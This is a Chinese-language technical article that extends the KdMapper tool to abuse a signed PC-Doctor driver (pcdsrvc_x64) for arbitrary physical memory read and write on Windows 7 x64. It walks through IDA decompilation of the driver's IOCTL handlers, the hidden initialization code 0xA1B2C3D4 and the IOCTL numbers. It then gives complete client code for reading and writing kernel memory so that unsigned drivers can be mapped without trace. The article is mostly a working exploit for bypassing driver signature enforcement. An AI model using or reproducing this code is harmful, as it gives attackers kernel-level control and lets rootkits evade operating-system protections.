1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | pcdsrvc_x64.pkms |
时间戳 | 5B0478B6 |
MD5 | C5632596C83FFB4C704AFA2A7504A335 |
文件版本 | 6.2.3.0 |
设备名称 | 和驱动服务同名 |
初始化驱动 | 0x222004 |
获取物理地址 | 0x222080 |
读物理内存 | 0x222084 |
写物理内存 | 0x222088 |
Windows 7 | 支持 |
Windows 10 | 不支持 |
Windows 11 | 不支持 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
DestinationString.Buffer = (PWSTR)ExAllocatePool(PagedPool, RegistryPath->Length + 2i64);
if (!DestinationString.Buffer)
return 0xC000009A;
DestinationString.MaximumLength = RegistryPath->Length + 2;
RtlCopyUnicodeString(&DestinationString, RegistryPath);
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_13190;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_131C4;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
return CreateDevice(DriverObject);
}
可以看到 DestinationString是根据 RegistryPath 来设置,也就是根据驱动安装的服务名称来确定。后面会看到驱动创建的设备名称就是根据 DestinationString 来设置的。
3.2 创建设备和符号链接
NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
int v3; // edi
unsigned int v4; // eax
__int64 v5; // rcx
int v6; // esi
_UNICODE_STRING* v7; // rdi
WCHAR* v8; // rax
struct _UNICODE_STRING Destination; // [rsp+58h] [rbp-70h] BYREF
UNICODE_STRING v10; // [rsp+68h] [rbp-60h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+78h] [rbp-50h] BYREF
UNICODE_STRING Source; // [rsp+88h] [rbp-40h] BYREF
UNICODE_STRING DefaultSDDLString; // [rsp+98h] [rbp-30h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+D8h] [rbp+10h] BYREF
_UNICODE_STRING* v15; // [rsp+E0h] [rbp+18h]
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\PCDSRVC");
RtlInitUnicodeString(&Source, L"\\DosDevices\\");
Destination.Buffer = (PWSTR)ExAllocatePool(PagedPool, 538ui64);
if (!Destination.Buffer)
return 0xC000009A;
Destination.Length = 0;
Destination.MaximumLength = 538;
RtlAppendUnicodeStringToString(&Destination, &Source);
v3 = -1;
v4 = ::DestinationString.Length >> 1;
v5 = v4;
while (::DestinationString.Buffer[v5] != 92)
{
--v4;
if (--v5 < 0)
goto LABEL_8;
}
v3 = v4;
LABEL_8:
if (v3 == -1)
return 0xC0000001;
RtlInitUnicodeString(&DefaultSDDLString, L"D:P(A;;GA;;;SY)(A;;GA;;;BA)");
v10.Buffer = &::DestinationString.Buffer[v3 + 1];
v10.Length = ::DestinationString.Length - 2 * (v3 + 1);
v10.MaximumLength = v10.Length - 1;
RtlAppendUnicodeStringToString(&Destination, &v10);
result = WdmlibIoCreateDeviceSecure(
DriverObject,
0x28u,
&Destination,
0x22u,
0x100u,
0,
&DefaultSDDLString,
0i64,
&DeviceObject);
v6 = result;
if (result >= 0)
{
RtlFreeUnicodeString(&Destination);
v15 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
v7 = v15;
*(_QWORD*)&v15->Length = DeviceObject;
v7->Buffer = (PWSTR)DriverObject;
v8 = (WCHAR*)ExAllocatePool(PagedPool, DestinationString.MaximumLength);
v7[1].Buffer = v8;
if (v8)
{
v7[1].MaximumLength = DestinationString.MaximumLength;
RtlCopyUnicodeString(v7 + 1, &DestinationString);
}
else
{
v6 = 0xC000009A;
}
if (v6 < 0)
{
if (v7[1].Buffer)
RtlFreeUnicodeString(v7 + 1);
IoDeleteDevice(DeviceObject);
}
result = v6;
}
return result;
}
从第 18 行到第 43 行,加上 3.1节内容可以看出创建设备的名称是根据驱动服务名称来设置,同驱动服务名同名,因此相应的实现逻辑也要做修改。见《4.1 设备名称相关》。
3.3 DeviceIoControl
__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
_IO_STACK_LOCATION* pIosp; // r9
unsigned int nBytesReturn; // edx
ULONG nIoControlCode; // ecx
unsigned int ntStatus; // ebx
DWORD* dwInitailizeCode; // rax
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
nBytesReturn = 0;
nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
if (nIoControlCode != 0x222004 && !bInitialized)
{
ntStatus = 0xC0000022;
pIrp->IoStatus.Information = 0i64;
LABEL_18:
LOBYTE(nBytesReturn) = 0;
goto LABEL_36;
}
if (nIoControlCode - 0x222000 <= 0x7C)
{
ntStatus = 0;
if (nIoControlCode == 0x222000)
{
if (pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)
{
*(_DWORD*)pIrp->AssociatedIrp.SystemBuffer = 0x6020300;
LABEL_16:
nBytesReturn = 4;
goto LABEL_17;
}
}
else
{
if (nIoControlCode != 0x222004)
{
ntStatus = 0xC0000010;
LABEL_17:
pIrp->IoStatus.Information = nBytesReturn;
goto LABEL_18;
}
if (pIosp->Parameters.DeviceIoControl.InputBufferLength >= 4
&& pIosp->Parameters.DeviceIoControl.OutputBufferLength >= 4)// 初始化驱动
{
dwInitailizeCode = (DWORD*)pIrp->AssociatedIrp.SystemBuffer;
if (*dwInitailizeCode == 0xA1B2C3D4)
{
bInitialized = 1;
*dwInitailizeCode = 0;
}
else
{
*dwInitailizeCode = 1;
}
goto LABEL_16;
}
}
ntStatus = 0xC000000D;
goto LABEL_17;
}
if (nIoControlCode - 0x222080 <= 0x7C)
return MemoryOperation(pIrp);
if (nIoControlCode - 0x222100 <= 0x7C)
return sub_112C8(pIrp);
if (nIoControlCode - 0x222180 <= 0x7C)
return sub_13A44(pIrp);
if (nIoControlCode - 0x222300 <= 0x7C)
return sub_13B94(pIrp);
if (nIoControlCode - 0x222380 <= 0x7C)
return sub_11008(pIrp);
if (nIoControlCode - 0x222680 <= 0x7C)
return sub_11878(pIrp);
if (nIoControlCode - 0x222700 <= 0x7C)
return sub_121C4(pIrp);
if (nIoControlCode - 0x222600 <= 0x7C)
return sub_13D5C(pIrp);
ntStatus = 0xC0000010;
pIrp->IoStatus.Information = 0i64;
LABEL_36:
pIrp->IoStatus.Status = ntStatus;
IofCompleteRequest(pIrp, nBytesReturn);
return ntStatus;
}
从 42 行到 55 行是关于驱动初始化的逻辑,由第 12 行可以看出,未初始化的设备请求是不被处理的,详见《4.2 初始化驱动》。
关于内存的操作是在 MemoryOperation 函数中。
3.4 MemoryOperation
__int64 __fastcall MemoryOperation(PIRP pIrp)
{
_IO_STACK_LOCATION* pIosp; // rax
ULONG_PTR nBytesReturn; // rdi
unsigned int nInputBufferLength; // ecx
ULONG nOutputBufferLength; // er8
int nControlCode; // edx
int nControlCodeV7; // edx
unsigned int ntStatus; // ebx
PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // rbp
SIZE_T nMapSize; // rdx
PVOID pAddressMapped; // r12
unsigned int ntStatusV12; // eax
PHYSICAL_ADDRESS nBytesMapped; // [rsp+50h] [rbp+8h] BYREF
pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
nBytesReturn = 0i64;
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
nControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode - 0x222080;
nBytesMapped.QuadPart = 0i64;
if (!nControlCode) // 0x222080 获取物理内存 只能获取用户态虚拟地址对应的物理地址
{
if (nInputBufferLength != 8 || nOutputBufferLength != 8)
goto LABEL_18;
ntStatusV12 = GetPhysicalMemory(pIrp, &nBytesMapped);
goto LABEL_17;
}
nControlCodeV7 = nControlCode - 4;
if (!nControlCodeV7) // 0x222084 读取物理内存
{
if (nInputBufferLength < 0xD)
goto LABEL_18;
ntStatusV12 = ReadPhysicalMemory(pIrp, &nBytesMapped);
LABEL_17:
nBytesReturn = nBytesMapped.QuadPart;
ntStatus = ntStatusV12;
goto LABEL_19;
}
if (nControlCodeV7 != 4)
{
ntStatus = 0xC0000010;
goto LABEL_19;
}
if (nInputBufferLength < 0xD) // 0x222088 写入物理内存
{
LABEL_18:
ntStatus = 0xC000000D;
goto LABEL_19;
}
pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
ntStatus = 0;
nMapSize = pInfo->Length;
nBytesMapped = pInfo->PhysicalAddress;
pAddressMapped = MapIoSpace(nBytesMapped, nMapSize);
if (pAddressMapped)
{
if (CopyMemory(pAddressMapped, &pInfo[1], pInfo->Length, &nBytesMapped, pInfo->CopyAlign))
nBytesReturn = pInfo->Length;
else
ntStatus = 0xC000000D;
MmUnmapIoSpace(pAddressMapped, pInfo->Length);
}
else
{
ntStatus = 0xC0000001;
}
LABEL_19:
pIrp->IoStatus.Status = ntStatus;
pIrp->IoStatus.Information = nBytesReturn;
IofCompleteRequest(pIrp, 0);
return ntStatus;
}
第 26 行为获取物理内存,请求码为 0x222080,实现函数为 GetPhysicalMemory。
第 30 行到 38 行为读取物理内存,请求码为 0x222084,实现函数为 ReadPhysicalMemory。
第 45 行到 67 行为写入物理内存,请求码为 0x222088。
3.5 GetPhysicalMemory
__int64 __fastcall GetPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
void* pAddressToMap; // rdi
_MDL* pMdl; // rax
_MDL* pMdl2; // rbx
pAddressToMap = *(void**)pIrp->AssociatedIrp.SystemBuffer;
pMdl = IoAllocateMdl(pAddressToMap, 1u, 0, 0, 0i64);
pMdl2 = pMdl;
if (!pMdl)
return 0xC0000001i64;
MmProbeAndLockPages(pMdl, 1, IoReadAccess);
*(_QWORD*)pIrp->AssociatedIrp.SystemBuffer = (unsigned __int16)pAddressToMap & 0xFFF | ((__int64)pMdl2[1].Next << 12);
MmUnlockPages(pMdl2);
IoFreeMdl(pMdl2);
*nBytesMapped = 8i64;
return 0i64;
}
虽然这里通过映射内存的MDL来获取物理地址,但由于 MmProbeAndLockPages 第 2 个参数用的是 UserMode 也即 1 来锁定,但 KdMapper 中大多使用的是内核地址,导致使用时会失败,也即无法利用这个函数来获取物理地址。
3.6 读物理内存
__int64 __fastcall ReadPhysicalMemory(PIRP pIrp, _QWORD* nBytesMapped)
{
PC_DOCTOR_PHYSICAL_MEMORY_INFO* pInfo; // r8
unsigned int ntStatus; // ebx
PVOID pAddressMapped; // rbp
unsigned int nSize; // [rsp+38h] [rbp-20h]
char nCopyAlign; // [rsp+3Ch] [rbp-1Ch]
PHYSICAL_ADDRESS pPhsicalAdressVar; // [rsp+60h] [rbp+8h] BYREF
pInfo = (PC_DOCTOR_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
ntStatus = 0;
nSize = pInfo->Length;
nCopyAlign = pInfo->CopyAlign;
pPhsicalAdressVar = pInfo->PhysicalAddress;
pAddressMapped = MapIoSpace(pPhsicalAdressVar, nSize);
if (!pAddressMapped)
return 0xC0000001i64;
if (CopyMemory(pIrp->AssociatedIrp.SystemBuffer, pAddressMapped, nSize, &pPhsicalAdressVar, nCopyAlign))
{
*nBytesMapped = nSize;
}
else
{
*nBytesMapped = 0i64;
ntStatus = 0xC000000D;
}
MmUnmapIoSpace(pAddressMapped, nSize);
return ntStatus;
}
3.7 CopyMemory
char __fastcall CopyMemory(void* Destination, const void* Source, unsigned int nSize, _QWORD* pPhsicalAdressVar, char nCopyAlign)
{
unsigned __int16 v5; // r10
unsigned int v7; // eax
__int64 v8; // rdx
v5 = 0;
if (!nCopyAlign)
{
memmove(Destination, Source, nSize);
return 1;
}
if (nCopyAlign == 4 && !(*pPhsicalAdressVar % 4i64))
{
v7 = nSize / 4;
if (!(nSize % 4))
{
if (v7)
{
do
{
v8 = v5++;
*((_DWORD*)Destination + v8) = *((_DWORD*)Source + v8);
} while (v5 < v7);
}
return 1;
}
}
return 0;
}
在使用时只需要将第 5 个参数传 0 即实现 memmove。
3.8 PC_DOCTOR_PHYSICAL_MEMORY_INFO结构
00000000 PC_DOCTOR_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Length dd ?
0000000C CopyAlign db ?
0000000D PC_DOCTOR_PHYSICAL_MEMORY_INFO ends
3.9 使用注意事项
实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
4.相关逻辑说明
4.1 设备名称相关
4.1.1 原逻辑代码
HANDLE dell_driver::Load()
{
......
memset(dell_driver::driver_name, 0, sizeof(dell_driver::driver_name));
static const char alphanum[] =
"abcdefghijklmnopqrstuvwxyz"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int len = rand() % 20 + 10;
for (int i = 0; i < len; ++i)
dell_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
......
HANDLE result = CreateFileW(L"\\\\.\\PCDSRVC", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!result || result == INVALID_HANDLE_VALUE)
{
dell_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
......
}
4.1.2 修改后逻辑代码
参考《3.2 创建设备和符号链接》逻辑进行相关修改,代码如下:
HANDLE dell_driver::Load()
{
......
std::wstring strDeviceName;
strDeviceName.append(L"\\\\.\\");
strDeviceName.append(GetDriverNameW());
HANDLE result = CreateFileW(strDeviceName.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (!result || result == INVALID_HANDLE_VALUE)
{
Log(L"[-] Failed to load driver iqvw64e.sys" << std::endl);
dell_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
......
}
4.2 初始化驱动
参考《3.3 DeviceIoControl》的说明,要发送控制码为 0x222004,数据为 0xA1B2C3D4的请求,实现代码如下:
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \
CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define INITIALIZE_CODE (0xA1B2C3D4)
bool dell_driver::InitializeDriver(HANDLE device_handle)
{
DWORD dwInitializeCode = INITIALIZE_CODE;
return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
HANDLE dell_driver::Load()
{
......
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
dell_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!dell_driver::InitializeDriver(result))
{
Log(L"[-] Failed to Initialize Driver" << std::endl);
dell_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
......
}
5. 代码实现
5.1 .h文件
#pragma pack(push, 1)
typedef struct _PCDSRVC_PHISICAL_MEMORY_INFO
{
PHYSICAL_ADDRESS PhysicalAddress;
DWORD Length;
BYTE CopyAlign;
}PCDSRVC_PHISICAL_MEMORY_INFO, *PPCDSRVC_PHISICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define PCDSRVC_X64_DEVICE_TYPE (DWORD)0x22
#define PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID (DWORD)0x801
#define PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID (DWORD)0x820
#define PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID (DWORD)0x821
#define PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x822
#define IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER \
CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_INITIALIZE_DRIVER_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222004
#define IOCTL_PCDSRVC_X64_GET_PHYSICAL_ADDRESS \
CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_GET_PHYSICAL_ADDRESS_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222080
#define IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY \
CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222084
#define IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY \
CTL_CODE(PCDSRVC_X64_DEVICE_TYPE, PCDSRVC_X64_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x222088
#define INITIALIZE_CODE (0xA1B2C3D4)
5.2 .c文件
NTSTATUS dell_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL dell_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
BOOL WINAPI dell_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PCDSRVC_PHISICAL_MEMORY_INFO info = { 0 };
PBYTE pWriteData = NULL;
SIZE_T nBufferSize = sizeof(PCDSRVC_PHISICAL_MEMORY_INFO) + NumberOfBytes;
__try {
if (DoWrite) {
pWriteData = (PBYTE)malloc(nBufferSize);
if (pWriteData)
{
RtlZeroMemory(pWriteData, nBufferSize);
info.PhysicalAddress.QuadPart = PhysicalAddress;
info.Length = NumberOfBytes;
info.CopyAlign = 0;
RtlCopyMemory(pWriteData, &info, sizeof(PCDSRVC_PHISICAL_MEMORY_INFO));
RtlCopyMemory(pWriteData + sizeof(PCDSRVC_PHISICAL_MEMORY_INFO), Buffer, NumberOfBytes);
bResult = SuperCallDriver(
DeviceHandle,
IOCTL_PCDSRVC_X64_WRITE_PHYSICAL_MEMORY,
pWriteData,
(ULONG)nBufferSize,
NULL,
0);
if (!bResult)
{
Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
}
}
else
{
Log(L"SuperReadWritePhysicalMemory Write malloc failed\r\n");
}
}
else
{
info.PhysicalAddress.QuadPart = PhysicalAddress;
info.Length = NumberOfBytes;
info.CopyAlign = 0;
bResult = SuperCallDriver(DeviceHandle, IOCTL_PCDSRVC_X64_READ_PHYSICAL_MEMORY, &info, sizeof(info), Buffer, NumberOfBytes);
if (!bResult)
{
Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error SuperReadWritePhysicalMemory Exception!" << std::endl);
}
if (pWriteData)
{
free(pWriteData);
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI dell_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI dell_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI dell_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI dell_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
bool dell_driver::InitializeDriver(HANDLE device_handle)
{
DWORD dwInitializeCode = INITIALIZE_CODE;
return SuperCallDriver(device_handle, IOCTL_PCDSRVC_X64_INITIALIZE_DRIVER, &dwInitializeCode, sizeof(DWORD), &dwInitializeCode, sizeof(dwInitializeCode));
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。
6. 运行效果
Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。
7.特别提示
使用 PCDSRVC_X64.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。